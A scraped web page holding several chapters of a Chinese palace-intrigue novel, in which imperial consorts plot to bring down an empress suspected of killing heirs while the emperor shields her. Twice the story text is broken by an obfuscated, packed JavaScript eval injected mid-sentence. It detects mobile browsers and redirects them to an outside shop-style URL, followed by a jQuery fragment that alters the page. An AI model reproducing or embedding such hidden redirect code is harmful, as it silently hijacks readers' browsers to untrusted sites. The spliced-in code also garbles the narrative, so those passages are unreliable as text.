贞妃此言,是在提醒宜含联手之事虽是为扳倒万皇后,可若闹得太大,牵连到姬阆身上,只怕后宫众人都会玉石俱焚。 文庙朝的五王之乱,便是前车之鉴! 无子的皇帝一旦驾崩,就会引发整个王朝的动荡。 毕竟她们都是姬阆的女人,活的是他的人!一旦他出了什么事,最先受到牵连的就是她们。 即便是被活殉了,也不是不无可能。 不知是不是见气氛有些凝重,贤妃赶紧打圆场,她端起茶盏抿了一口,柔声道:“贞妃姐姐多虑了,主人家大业大,总不会因一条狗而乱了 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谁知,还不等宜含话音落脚,贞妃却已然点了点头,眼中还闪过一丝赞许,“妹妹果然聪慧,一点就通,难怪万岁爷这般喜欢妹妹。” “虽是如此,可贞妃姐姐又怎敢保证那日一定就吹的是东风?” 宜含还是忍不住问出了心中的疑惑。 言外之意就是如果德嫔她们不愿意配合,贞妃她们又当如何。 “嗐……” 贞妃不以为,她凤眸微转,声音平平:“东风不吹西风吹,关键是咱们能借到这阵风!又何必在意风往哪边吹呢?妹妹,你说呢?” 宜含听明白了贞妃的意思,心下大骇,原来她们竟是打的这个主意。 “甭管风车转不转,这阵风终究是要停的。与其浪费了这道大风,咱们倒不如趁着它刮来的时候,让风车转起来……” 贞妃又只得拿劝慰贤妃的话来说服宜含,只是相较于贤妃,她要谨慎的多,只是借物喻人。 宜含如遭重击。 她望着贞妃那双狭长的凤眸,里面闪烁的不仅仅是算计,还有赤裸裸的狠厉。 贤妃在一旁默不作声,却也时不时点头附和,就连她那张温婉的脸庞,此刻也变的无比冷漠。 殿内的炭火噼啪作响,仿佛在嘲笑她的天真。 见宜含摇摆不定,贞妃决定下一剂猛药。 “妹妹,你还在犹豫什么?” 贞妃倾身向前,压低了声音道,“想想你的孩子!它还没来得及看一眼这世界,就被害了去。我们若不珍惜这个机会,只怕还有更多的人要步你的后尘。与其白白浪费,不如让他们成为扳倒那毒妇的利刃。妹妹,你我皆是失子之人,这仇不报,如何对得起那些冤死的孩子?” 贞妃的声音温柔异常,可此时却说着最无情狠辣的话。 宜含花容失色,她抬头望向贞妃,在她姣美的面庞上,没有一丝和善,余下的只有算计和怨毒…… 良久,宜含的指尖微微颤抖,她想起自己小产那日,腹中剧痛如绞,那未成形的孩子仿佛还在耳边哭泣。 姬阆的冷漠,万皇后的阴毒,一切如潮水般涌来,让她心如刀绞。 可利用无辜的孩子…… 这与万皇后又有何异?但她对万皇后和姬阆的恨意,很快超越了心底的愧疚。 终于,她深吸一口气,勉强笑了笑:“两位姐姐既有此心,妹妹自当从命。只是,此事还需从长计议……” 见宜含松了口风,贞妃便知道此事八九不离十了,和贤妃连口应下。 很快,三人就此事开始商议细节。 至于牌局,早已无人在意,殿内只剩女子的低语和炭盆中火星溅落的噼啪声。 12. 第 12 章 东京连日的大雪,似乎是天公听到了百姓的哀鸣,在这日终于放晴了。 积雪自松针叶上滚着掉进地上的土里,为来年的生机,埋下一份希望。 乾清宫的月台下,此刻正有数名内侍低眉垂手侍立在侧。 姬阆在东暖阁中翻阅着堆积如山的奏折,不时眉头紧锁,似乎看到了什么令他困扰的内容。 就在这时,窗外一道阳光透过琉璃窗洒在暖阁里,映得屋内金碧辉煌。 似乎是被折子上的事情勾起心中的郁闷,姬阆不由起身,向窗外望去。 他透过窗柩,外边碧空如洗,却如何也驱不散心头的阴霾。 这些日子,宫里死的人太多,太多了…… “万岁爷,午膳已经备好。” 一个内侍小心翼翼地叩门而入,声音低得几乎被吞没。 见姬阆没有反应,他下意识地小步退了出去。 很快,只见传膳的宫人鱼贯而入,小叶紫檀的八仙桌上摆满了山珍海味。 须臾,姬阆收回思绪,在桌前坐下,尚膳监的人在一旁奉菜。 只是不知是不是受心情影响,姬阆对桌上的菜肴并不感兴趣。 就当他食之乏味时,偶然瞥见了桌上一盘拔丝地瓜。 姬阆的筷子停下,不由愣了愣神,记忆如潮水般涌来。 他依稀记得,也是这样的时节,他和妙贤还被困在南苑的时候,为了一个烤番薯,两人推让了小半个时辰。 最后还是在他的再三坚持下,两人才分食了此物。 那时,尽管他们日日处在惶恐不安中,可妙贤真的将他照顾的很好,很好…… 他被褫夺一切尊荣,连累妙贤一同被关进南苑。面对随时都可能来临的死亡,他整日自暴自弃,几乎已经放弃了生的希望。 而妙贤,却从未怪过他…… 她宁愿自己吃米糠,也要将粳米留给他食用。且不论是砍柴做饭,还是浆洗衣服,都是她亲力亲为。 她鼓励他不要放弃,任何时候都不要放弃。 妙贤曾对他说过:“死亡并不可怕,但可怕的是明明拥有死亡的勇气,却不敢去直面现在的困境。” 她……瞧不起懦弱的男人!” 他至今记得那个半大的姑娘,蹲着地上一边烧柴,一边若无其事地安慰他的话语。 明明自己都怕的要死,还要在他面前强颜欢笑,装出一副满不在乎的样子。 他很多时候都在想,如果当初没有妙贤在旁边鼓励他、支撑他,他真的能够在南苑活下去吗?还能等到父王救他吗? 姬阆不知道,也许对他而言,这将是终其一生都将要追寻的答案。 姬阆的筷子悬在半空,那盘拔丝地瓜的热气袅袅升起,模糊了他的视线。 他突然觉得喉头一哽,仿佛那甜腻的滋味不是从菜肴中传来,而是从遥远的记忆里渗出,苦涩而缠绵。 贤妃的公主,贞妃的孩子,以及甄贵妃这一胎……他知道,一切他都知道。在这个位置上,鲜有能瞒过他的事情,只是愿不愿意的问题罢了。 贤妃的敬懿公主,本是宫中难得的喜事,可那孩子落地就没气了。太医们虽然说是体弱,可他从东厂的密报中,看到了那些隐晦的蛛丝马迹,全都指向了坤宁宫。 贞妃的孩子,就更明目张胆了。 那是去年的事,她滑胎后,宫中传闻是她自己不小心,可他查到,贞妃的膳食中多了一味“安胎”的药,药材也是由坤宁宫的宫人经手过的。 至于甄贵妃……这一胎,本该是他的第一个皇子。他在永和宫外,听过宜含的哭声,那撕心裂肺的痛,让他夜不能寐。 他何尝不知妙贤这些年的所作所为,可每当他鼓起勇气来到坤宁宫想要质问她时,见到那张熟悉的面庞,便什么话都说不出口了。 事后,当他有意无意提起几人的事,妙贤总是岔开话题,声称与自己无关。 他不敢深究,他害怕,害怕查到是妙贤做的手脚,从此之后就要彻底失去她。 他信了,或者说,他只能选择信了。 因为妙贤的眼睛,还是南苑时那双坚定的眸子,里面有他的影子,有着他们的过去。 “妙贤,你变了……” 姬阆在心里喃喃自语,却终究没有说出口。 他放下筷子,挥手让宫人退下。 殿内空荡荡的,只剩他一人坐在桌前,午膳凉了,他的心也跟着凉了。 他起身,走到书案前,拿起一封尚未批阅的折子。那是礼部关于年关宫宴的安排,除夕将至,整个东京城都会张灯结彩,宫中更是要大摆宴席,君臣同乐。 可他知道,这场宴会,必然不会太平。 还有德嫔和宋美人的孩子。 “朕该怎么办?” 姬阆喃喃道。 他不是文庙那样的软弱君主,不会畏惧外戚。可妙贤也不是闫皇后,她只是他的妙贤,是那个在南苑与他共患难的女人。 没有她,或许就没有今日的他。 他曾发誓,要护她一世周全。可如今,这周全,已然成了纵容。 门外,又有内侍叩门:“万岁爷,东厂提督沈安求见。” 姬阆深吸一口气:“宣。” 沈安进来,跪地道:“万岁爷,郑尚食的死,已经有眉目了,是否还要臣继续深挖下去……” 虽然是在请示姬阆的意思,可沈安自个儿也明白,这件事大抵跟从前一样,都是无疾而终了。 姬阆闻言,手中的奏折微微一顿。 他抬起头,目光落在沈安身上,那双眼睛如深渊般幽暗,透着一种让人不寒而栗的威严。 沈安跪在地上,额头贴着冰冷的金砖,不敢抬头。他在外人眼里虽然位高权重,可在这位杀伐果断的君主面前,一言不慎,便是万劫不复。 “说。” 姬阆的声音平平,却带着一丝不易察觉的疲惫。 他坐直身子,示意沈安起身。 沈安站起,低声道:“回万岁爷,臣查到郑尚食落水前,似乎与坤宁宫的汪嬷嬷有过密谈。那日郑尚食从坤宁宫出来之后,神色十分慌张,似是得了什么密令。” 殿内一时寂静如死,只剩窗外松针上残雪滴落的细碎声。 姬阆的指尖轻轻叩击着龙案,节奏越来越慢。 对于郑尚食的死,宫里虽然风言风语,没料到果真也和妙贤有关…… “罢了!” 姬阆终于开口,声音低沉如冬日的风,“郑尚食已死,这件事已成定局,皇后也允她以恭人身份入殓,此事就此作罢,不要惊扰到了坤宁宫。” 果然,如他所料想的一样,姬阆让他闭紧了嘴巴,这件事情这样虎头蛇尾地结束了。 他叩首道:“臣遵旨。只是……最近宫中谣言四起,闹鬼的传闻已传到外朝。甚至东京城内的百姓都在私下议论,说是后宫冤魂太多。” “谣言?” 姬阆的眉头皱得更紧,似是做了什么决定,开口道:“冯宫正上了年纪,许多事情都力不从心,也只能辛苦你了。让你底下的人抓几个散布谣言的宫人杖毙示众。莫让这些闲言碎语扰了太平,更不要传到皇后的耳中,听明白了吗!” 他的声音不高不低,却带着上位者的压迫。 沈安满头大汗,赶紧叩首应道:“臣明白!臣定不负万岁爷所托,严办那些散布谣言的宫人,绝不让这些谣言扰了皇后娘娘的清净。” 他起身退下时,背脊已湿透。 他这个东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汪嬷嬷心下叹息,她知皇后这些年变的太多,太疯狂……早已不是当初东宫那位温柔的皇储妃。 她还是跪地,深深叩首道:“娘娘,老奴侍奉娘娘多年,何曾有过何曾有过二心?老奴只是怕……怕娘娘一意孤行,惹恼了万岁爷。到时候夫妻离心,就……” “够了!” 不容汪嬷嬷说完,万皇后直接开口打断她。 只见万皇后冷哼了一声,“本宫偏就不信了,她们还能翻了天不成!” 汪嬷嬷没有接话,只是有些心痛。 自家主子似乎到现在还没明白,这些年如果不是有万岁爷袒护着,她早被废了尊位了。单是谋害皇嗣一条,群臣就容不得她! 万岁爷顾及共患难时的情分在,也未追究那几个皇嗣的事情。 可万岁爷而立之年还无子嗣,万皇后闹了这许多年,也该闹够了!若再不收敛,将最后的那点儿夫妻情分也作没了,只怕不会有太好的下场。 汪嬷嬷又冒死劝了几句,但万皇后意已决,只得叹息着起身退下。 待她踏出殿门后,她在门外站了片刻,心下如坠冰窟。 这些年,她们手上沾的血越来越多,上至皇嗣嫔妃,下到那些无辜的宫女……她怕,这条路走下去,早晚会毁了万皇后。 此时,万皇后独自坐在殿内,窗外阳光渐斜,映得她美丽的脸庞忽明忽暗。 她摸着腕上的手镯,与其说是镯子,不如说是木环。 那是姬阆在南苑时亲手雕的,一点一点将其棱角磨平,环内还刻着“永结同心”四个大字。 触及到那四个字,她低笑一声,似乎是想起了从前那个少年向她许下的诺言。可她的眼中却无半点温暖,只有说不出的冰寒…… 13. 第 13 章 随着年关将至,宫中每日天还未亮就开始洒扫庭除。姬阆赏了各宫嫔妃春联并一些年节所用之物,过年的味道开始逐渐萦绕在宫里。 这日,宜含一早来坤宁宫给万皇后请安,等她到的时候,不少嫔妃都已经到了,只是万皇后还未起身,她们都还在花厅外候着。 和相熟的几位高位嫔妃打过招呼后,宜含一个人静静杵在宫墙下,望着墙根处残留的薄雪出神。 雪后初晴的空气清冽刺骨,她紧了紧身上的狐裘,脑海中不由回荡起那日贞妃和贤妃的话语。 除夕宴近在眼前,她的心如悬在半空的利剑,随时可能落下。 但名为“良知”的牵绳,死死将它束缚住,不断延缓着利剑的降落。 就在此时,一阵细碎的脚步声从身后传来。宜含转头,只见贤妃款款走来,她一袭浅蓝色的宫装映着雪光,脸上带着惯有的温婉笑容。 “妹妹怎的一个人站在这儿?外头风大,当心着凉。” “贤妃姐姐。” 宜含勉强笑了笑,点头一礼后,缓声道:“妹妹只是有些无聊,随意走走罢了。” 贤妃笑了笑,她推开身边宫人递来的手,环顾四周,见无闲杂人等,方才走上前,压低了声音:“妹妹,昨儿贞妃姐姐传话过来,咱们除夕宴的计划不变。 说罢,贤妃若无其事地从宜含这里离开,莲步轻移,转而和其他交好的嫔妃的谈笑去了。 就在宜含的耳边还回荡着贤妃的低语,自花厅内走出一个宫女,她对着众人躬身一礼,“皇后娘娘已经起身了,还请各位娘娘进去。” 嫔妃们很快鱼贯而入。 殿内暖意融融,焚着上好的龙涎香。万皇后端坐主位,妆容精致,看起来落落大方。 她的脸上堆满了明媚的笑意,轻轻抬了抬手:“姐妹们来得早了。本宫昨儿睡得晚,今儿起迟了些。快坐吧。” 众人行礼落座。 宜含坐在万皇后右下首,她抬头时,正对上万皇后的目光。 那双眼睛如深潭般幽暗,不由让她脊背发凉。 万皇后很快将实现从宜含那处转移,抿了口茶,然后将目光转移到德嫔和宋美人身上:“年关将至,除夕宴在即。德嫔和宋美人都有孕在身,可要仔细保重,且莫劳累。” 被点名的德嫔和宋美人脸色微变,纷纷起身行礼,“谢皇后娘娘关切。” “两位妹妹不必如此多礼。” 万皇后的脸上漾起一抹笑意,紧接着继续道:“万岁爷膝下空虚,宫里许久不见这样的喜事,只要你们为万岁爷生下皇子,那便是天大的功臣。” 闻言,贤妃暗戳戳撇了一个白眼,暗自思忖:若不是有你在,万岁爷早得了皇子了!也不知大周是做了什么孽,竟然让你当了皇后,当真是皇天不佑。 至于德嫔,她和宋美人交换了一个眼神,然后笑着开口道:“承蒙陛下和皇后娘娘隆恩,臣妾一定会保重身子,好生养胎,不负娘娘所托。” 德嫔的话语柔顺得体,表现的十分谦卑,但从她微微颤抖的身子,看出了她的一丝畏惧。 她坐回位子上后,目光不由在贤妃和万皇后身边流转,手不自觉地抚上小腹,那里仿佛承载着她未来的希望与筹码。 宋美人则低着头,声音细软如柳絮:“臣妾亦是如此,多谢皇后娘娘挂念。臣妾定当小心,不负圣恩。” 万皇后满意地点点头,目光在殿内扫视一圈,最终落在了宜含身上:“贵妃近来可好?听说你出了小月之后,小病不断,本宫还命人送去的补品过去,不知可还合用?” 宜含闻言,心头一紧。 她强压住内心的慌乱,起身盈盈一礼:“谢娘娘关爱,臣妾的身子弱,自从不慎小产,久病不愈,如今身子好多了,全仰赖娘娘恩德……” 说话时,宜含将心底的恨意尽数隐藏,面上勉强露出一抹笑来。 “妹妹客气了,本宫瞧着妹妹的气色也是好多了。你还年轻,又是得万岁爷看重的,等等养好了身子,抓紧给万岁爷再添个皇子才是。” 万皇后笑了笑,那笑容如春风拂面,仿佛真如一个温柔和善的国母,切实为后宫嫔妃打算。 看着万皇后脸上的笑意,宜含却觉得如芒在背,她起身福了一礼,“谨遵娘娘慈喻,妾必然克尽阙职。” 旁人自是没看出两人之间的暗流涌动。 只有贤妃,此时斜瞥了两人一眼,唇角微微上扬,她漫不经心地端起旁边案几上的茶盏,浅浅抿了一口。 万皇后满意地点了点头,旋即将目光落到了贤妃身侧的椅子上,有些纳罕:“今儿贞妃怎的没来?可是身子不适?” 见万皇后垂询,贤妃放下茶盏立即起身,她躬身一礼,解释道:“早上我路过玉堂宫的时候,恰好碰见贞姐姐宫里的半夏,说是贞姐姐昨儿旧疾发作,身子不大痛快,告假的事,已经知会过您宫里的刘女官了。” 万皇后闻言,眉头微微一皱,却很快舒展开来。 “噢?” 她端起茶盏,轻抿一口,声音带着一丝探究:“旧疾发作?贞妃的气瘀之症还未好吗?” 话音刚落,不等其他人开口,万皇后自顾道:“本宫倒是记得,贞妃是从昨年小产之后落下的旧疾罢。她也该找个太医好好治治了,自从落了胎,身子三天两头地不好,又如何能怀上皇嗣!” 说到此处,万皇后眉头紧皱,显然是带了几分责怪之意。 贤妃闻言,心头微颤,却很快稳住神色。 她起身一福,不动声色道:“娘娘明鉴,贞姐姐的旧疾确是去年小产后留下的根子。太医院的张院使也是瞧过的,说是气瘀难散,需要慢慢调养。贞姐姐去年小产之后十分伤心,臣妾也常劝她宽心。只是娘娘也知道贞姐姐是个性子倔的,怕是还没走出来。” 万皇后闻言,眉头稍缓,脸上却仍带着几分不悦。 她将茶盏放下,目光在殿内扫过,似乎在观察众人的反应:“本宫知道她难过,可宫里这么多年,小产的嫔妃也不止她一个,连自个儿都不爱惜自己的身子,旁人还能如何呢?” 此话一出,殿内气氛顿时微妙起来。 德嫔和宋美人交换了一个眼神,两人皆是孕在身,对皇后这番话自然敏感。 德嫔低头抚腹,暗想:皇后这是在敲打我们?还是在借贞妃的事,暗指 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她轻咳一声,转移了话题:“今儿姐妹们今儿来得早,本宫也不留大家了。年关事多,各宫回去好生准备除夕宴的事宜。尤其是德嫔和宋美人,你们若有什么不适,即刻传太医,把皇子生了,比什么都强!” 众人起身谢恩,纷纷告退。 宜含走出坤宁宫时,天光已大亮,雪后的阳光洒在宫道上,映得地面晶莹刺目。 就在这时,宜含只觉的身后一凉,紧接着是湿漉漉的寒意向她逼来。 就当她转过身去时,只见一个宫女立即跪倒在地,她头捣如蒜,声音颤抖道:“贵妃娘娘饶命,奴婢不是有心的……” 与此同时,那个宫女手中的铜盆咣当一声跌落在地。 宜含还未说什么,她身旁的周颐却上前叱道:“哪里来的野丫头,竟敢冲撞贵妃娘娘!信不信我去回禀了皇后娘娘,即刻发落了你去浣衣局。” 闻言,那宫女本就颤抖的身子更甚了,几乎抖成了筛子。 宜含微微蹙眉,目光落在那跪地的宫女身上,只见她衣衫单薄,脸颊冻得通红,手中的铜盆里还残留着些许融化的雪水,显然是刚才不小心泼洒到了她的身上上。 空气中弥漫着淡淡的寒意,周围的宫人们纷纷低头,不敢多言。 还有几个宫妃停伫在远处,似乎被这边的动静所吸引,正在关注事态的发展。 宜含轻轻抬手,止住了周颐的叱喝,声音温和平静:“不过只是意外罢了,又何须小题大做。” 周颐闻言一怔,恭敬地应了一声“是”,退到一旁。 宜含俯身,亲自扶起那宫女,柔声道:“起来吧,本宫不怪你。下次小心些便是。去换身干衣服,别冻坏了身子。” 那宫女抬起头,眼中满是感激与惊讶,哽咽着叩谢:“谢贵妃娘娘,奴婢……奴婢定当铭记在心。” 宜含笑了笑,并不以为意,只是转身继续前行,心思却逐渐飘远。 想起今日贤妃的话语,犹如一根刺扎入她的心头。她瞥了一眼远处的宫墙,阳光下,一切都显得那么刺眼而虚假。 14. 第 14 章 坤宁宫的茶膳间,很快飘起渺渺炊烟,秋荷坐在矮凳上长舒一口气,仿佛还未从刚才的惊魂未定中反应过来。 似乎是见到了秋荷的异样,原本正在切菜的李玉娘不由停下手中的动作。 她蹑手蹑脚走到她的背后,轻拍了一下她的臂膀,笑嘻嘻地开口道:“你这是怎么了?怎么失魂落魄的?” 秋荷被李玉娘吓了一跳,近乎从凳子上跌下来。 在见到是李玉娘后,秋荷勉强挤出一丝笑容,揉了揉发酸的胳膊,低声道:“玉娘,没什么……就是刚才在宫道上,不小心泼了贵妃娘娘一身水,我还以为要被发落了。幸好贵妃娘娘心善,只说了我两句就放我回来了。” “贵妃娘娘?” 李玉娘闻言一愣,起初还没想起秋荷说的是谁,不过很快就扑哧一笑,显然是知道秋荷所说的就是宜含了。 她凑近了些,压低了声音:“哎呀,你这丫头运气真好!甄贵妃可是宫里出了名的好脾气,其他娘娘可不是都像她这么好说话的。” 秋荷点点头,心有余悸地瞥了一眼窗外,雪后的宫廷依旧宁静,却让她觉得处处藏着眼睛。 “可不是。” 她拍了拍胸脯,附和了一句:“当时我怕得要死,万幸是碰着了贵妃。要是遇见的是丽妃娘娘,只怕我就算是皇后娘娘宫里的人,也不会就这么轻易地罢了。” 丽妃的脾性不好在宫里是出了名的,宫里人大多都对她发怵。据说就连万岁爷的面子丽妃也不大乐意给,宫里的人就更害怕她了。 闻言,李玉娘是又好气又好笑,嗔了一句:“你啊……下次可得长点眼睛,别再出这种纰漏了。” 秋荷还一脸地心有余悸,她环顾四周后,小声问道:“玉娘姐,你说……会不会有人故意让我去撞她的?刚才我端着盆子走得好好的,突然脚下一滑……” 李玉娘的笑容微微僵住,眼中快速闪过一丝警惕,她赶紧四下看了看,将门死死合上后才摇头道:“这种话可别乱说,宫里是非多,咱们管好自己就行。出了这样的事,你现在也心不在焉的,先去歇着吧,这里都有我呢。” 秋荷原本还想说什么,却被李玉娘推了出来。 见此,她也只得接受了李玉娘的好意。毕竟今天她所受到惊吓着实不小。 很快,茶膳间再次恢复平静,李玉娘再次忙碌起来,房间里也渐渐弥漫着淡淡的果蔬香。 昌庆宫内,德嫔坐在软榻上,一想到万皇后对她的示好,她总有些发怵。 这些年,宫里前前后后没了那么多孩子,说她没有一点疑心那是假的。可要说都是万皇后做的手脚,她又不敢确信。 想到此处,她的思绪不由飘远。 就在这时,自一道清亮的女声在殿中响起。 “娘娘,贤妃娘娘约了您午后去打马吊,您要过去吗?还是让奴婢去回了贤妃娘娘?” 说话的是一个二十余岁的女子,她穿着蓝色小袄,正是德嫔的管事大宫女。 “贤妃?” 德嫔回过神,抬头望了她一眼,然后淡淡道:“怎么又是她,这些日子她未免也太勤快了些!” 绿袖默不作声,她缓步走上前,一面为德嫔斟茶,一面开口道:“娘娘身怀龙裔,只要娘娘生了皇子,那便是万岁爷的皇长子,就连坤宁宫那位日后说不得也要看娘娘的脸色过活。贤妃娘娘此举,不过是提前想要交好娘娘罢了。” 闻言,德嫔抬手捂住小腹,脸上不由露出一抹自得来。 她眼中闪过一丝精光,笑道:“绿袖,你说得不错。从前是本宫人微言轻,只能在她们跟前伏小做低,如今本宫风头正盛,却不想给她这个脸面。你去回了她,就说本宫今儿身子不适,改日再请她过来吃茶。” 绿袖微微一怔,她显然是没想到德嫔会突然抖起来,摆起谱儿了。她原本以为德嫔会借此机会拉拢贤妃,毕竟后宫中多一个盟友总是好的。 可见到德嫔眼中那抹傲然,她很快回过神来,躬身道:“是,奴婢这就去回话。” 她退出殿门后,望着昌庆宫的整点,嘴角微微勾了勾,然后很快带着一个小宫女往贤妃的永宁宫而去。 途中,她暗中思忖:德嫔虽然看着机灵,可到了大事大非前,到底只是小聪明。仗着怀了龙胎就托大拿乔,在贤妃这些人跟前摆谱,日后总有她摔跟头的时候。所幸,她早就改换门庭,否则他日还不知道要落到什么下场…… 她刚开始倒也对德嫔忠心,可这些年见到德嫔行事浅薄,又不善交际,进宫也不短了,位份还不如后来者的甄贵妃。 再者,德嫔对待宫人苛刻,稍有不顺,动辄就打骂。只是她伪善,人前从不显露,继而才没有丽妃那般大的名声。可底下的宫人不满是必然的事,倒也怨不得她们背心离德了。 这边,贤妃收了信儿以后,她面上不显,当着众人的面很是宽慰了几句。 只是背地里,心头生出一股无名火来。 她好歹也是四夫人之一,又侍奉姬阆多年,如今连一个小小的德嫔都敢在她跟前逞威风了,实在可气! 待众人散去后,贤妃冷冷哼了一声,“还没生下皇子就在本宫跟前摆架子,要是生了皇子,她岂不是还要上天!” 似乎是看出了自家主子的怒火,贤妃身边的金钏不由劝道:“娘娘,您又何必跟德嫔一般见识,她不过只是一颗棋子,一个物件罢了。待这件事了结,咱们悄无声息除了她也就是了。” 此话一出,整个大殿瞬间静了静。 若说愤怒,贤妃自然是有的。可真要下定决心除掉德嫔,贤妃又缺了几分果决。 她没有开口,只是百无聊赖地玩弄着手中的帕子。 贤妃的目光落在帕子上,那上面的绣花是她亲手挑的,一朵朵海棠绽放得栩栩如生,可此刻在她眼中,却如枯萎的花木一般无趣。 她将帕子揉成一团,扔到案几上,声音带着一丝疲惫:“你说得倒是容易,德嫔腹中可是龙种,若真出了什么事,第一个就会查到咱们头上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590350|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万岁爷这些年虽对皇后偏袒,可对皇嗣的事,从来都不含糊。” 金钏闻言,眼中闪过一丝狡黠,她上前一步,压低声音道:“娘娘,您忘了?咱们本就打算借德嫔的肚子钓皇后上钩。何不顺水推舟,让她先尝点苦头?只要控制好剂量,又不会真的伤了胎儿。待她收了这一难,自然会疑心到皇后头上。只要绿袖那丫头在旁撺掇,她自会求上门来。届时娘娘只需坐收渔利,又何乐而不为?” 贤妃闻言,眉头逐渐舒展开来。 她想了想,却得此举可行,于是点头道:“也罢,就按你说的意思办。只是……” 说到这里,贤妃有些迟疑,她将自己的问题抛了出来:“绿袖那丫头当真可靠吗?这些年,她虽然暗中传了不少德嫔的动静过来。可到底事关皇嗣,她若是露了马脚,只怕会坏了咱们的大事!” 金钏闻言,赶紧上前一步,她是贤妃的心腹丫鬟,这些年帮着主子料理了不少阴私事,自然知道贤妃的顾虑所在。 她压低了声音:“您和贞妃娘娘许了她重金,又愿意放她出宫,她岂有不从的理?再说,就算咱们不出手,德嫔那个孩子左右也逃不掉一个死字。” 贤妃心想也是这个道理,于是点了点头,“既如此,那就交由你去办了。” 金钏应了一声,就当她即将退出去打算去办这件事的时候,贤妃突然止住了她。 “不……不对,晚些时辰你去贞妃娘娘那儿,就说德嫔仗着怀了身孕,言语对咱们不敬,还想要骑在咱们姐妹头上。你想法子让贞妃娘娘出手!这件事咱们一定要撇的干干净净。” 贤妃突然开口道,她想明白了,跟皇嗣有关的事情,一定要跟自个儿撇的干干净净,若是教人抓住了把柄,那才是自寻死路。 别看贞妃眼前好的跟她穿一条裤子,可若是万皇后真有倒了的那天,为了坤宁宫的那把椅子,还指不定会怎么样。 贤妃自认手段和心机都不如贞妃,那就更要小心行事了。 对于坤宁宫的那把椅子,贤妃说不生妄念那是不可能的。她进宫的年头不短,也有资历,论恩宠,也只是仅次于万皇后和甄贵妃之下。 等万皇后倒了,她未必没有机会入主坤宁宫! 金钏闻言,心中一凛,却也不敢多问,只是恭敬地低头应道:“是,奴婢明白。奴婢这就去办。” 待金钏把消息传到贞妃那里后,贞妃利落的放下了手中的书卷,自是知道了贤妃打的主意。 “韩秀英,倒是我小瞧你了,还真是打的一手的如意算盘!” 贞妃倚在塌上,声音如蚊蝇般低沉,却透着一丝寒意。 她口中的韩秀英,正是贤妃的闺名。 不过现下还不是和贤妃撕破脸的时候,贞妃唤了身边的宫女过来,在她耳边悄声嘱咐了几句,只见宫女的眼眸逐渐睁大,满是不可置信。 在贞妃的示意下,那宫女点点头,然后退出了玉堂宫。 是夜,德嫔腹痛难止的消息传遍了整个皇宫。 15. 第 15 章 次日一早,姬阆和万皇后亲自驾临德嫔的昌庆宫。 德嫔痛了一宿,早上刚服了药,现下还睡着,为她安胎的太医正在为她施针。姬阆和万皇后详细问了德嫔的情况,在确定母子平安后方才松了口气。 姬阆眉头微皱,望着床上脸色苍白的德嫔,心中隐隐不安。 忽然,他似是想到了什么,不由转头看向了身侧的万皇后。 他的目光带着一丝探究,仿佛在揣测这件事是不是跟万皇后有所关联。 很快,姬阆低声道:“德嫔好好的,怎么会突然腹痛?皇后,你怎么看?” 被突然点名万皇后一愣,似乎是没想到姬阆会突然问到自己身上。 她迟疑了一下,然后轻轻摇头:“德嫔的身子本来就娇弱,这一胎又来得突然,兴许是昨夜吃了什么相克的膳食罢。” 姬阆“嗯”了一声,他在宫室内踱了几步,目光依次扫过殿内伺候的宫人。那些宫女和宦官一个个低头屏息,大气都不敢出。 最后,他的视线落在了绿袖身上。 “绿袖。” 姬阆开口道,“昨夜德嫔用了什么膳食?你可曾留意?” 绿袖跪下,声音微微颤抖:“回陛下,娘娘昨夜只用了些燕窝粥和几样小菜,都是尚食局送来的。是奴婢亲眼看着主子吃下,且吃了之后并无什么异样。只是半夜主子突然腹痛,奴婢就赶紧让人去请了太医。” 姬阆眯起眼睛,追问:“尚食局送来的?可有旁人经手?” 绿袖低头:“回万岁爷,是覃司膳亲自带人送过来的。自从娘娘有孕,一直都是覃司膳负责娘娘的饮食。” 话音刚落,万皇后的脸上露出一抹笑来,她贝齿轻启:“陛下,不如臣妾去查一查尚食局那边。这件事,总得有个说法。” 姬阆有些意外,似乎是没想到万皇后会这么快把话接过去。 姬阆瞥了德嫔一眼,然后长舒一口气,点头道:“好,就依皇后所言罢,这件事就交由你来办。宫里的孩子难将养,先前没了那么多孩子也就罢了,德嫔和宋美人的孩子不能再有差池了。若有人敢在背后使绊子,朕绝不会轻饶!” 这算是在警告了。 万皇后自然听明白了姬阆的弦外之音,她面上不露声色,附和道:“万岁爷说的是,这几年宫里没得孩子也忒多了点,是该好好查查了……” 不多时,为德嫔诊治的李太医就过来给姬阆二人请安。 “回禀万岁爷,皇后娘娘,德嫔娘娘已无什么大碍,应该很快就会转醒。” 李太医的年岁不轻,他的头发几乎已经花白,说话倒是中气十足。 不容姬阆问,万皇后率先一步开了口:“李太医,本宫且问你,德嫔究竟是怎么回事?” “回娘娘,德嫔娘娘只是动了胎气,有些小产前的征兆,再没有旁的了。臣已为德嫔娘娘施针,只要服下几贴安胎药就会好转。” 未免两位至尊担忧,李太医将诊治结果同时道了出来。 姬阆点了点头,适时发出自己的疑问:“既如此,那德嫔的腹痛是?” “也是胎气震动导致的。” 听到李太医的回答,殿内众人这才纷纷松了口气。姬阆又来到德嫔的床榻前看了她一眼,心头的石头这才落了地。 万皇后又嘱咐了昌庆宫的人好好照顾德嫔后,跟着姬阆相携而去。 两人离开昌庆宫后,很快就分道扬镳。 万皇后在回坤宁宫的路上,脸上的笑容渐渐收起。 她脸色有些阴沉,唤来汪嬷嬷,压低了声音:“德嫔这儿不是咱们出的手罢?” 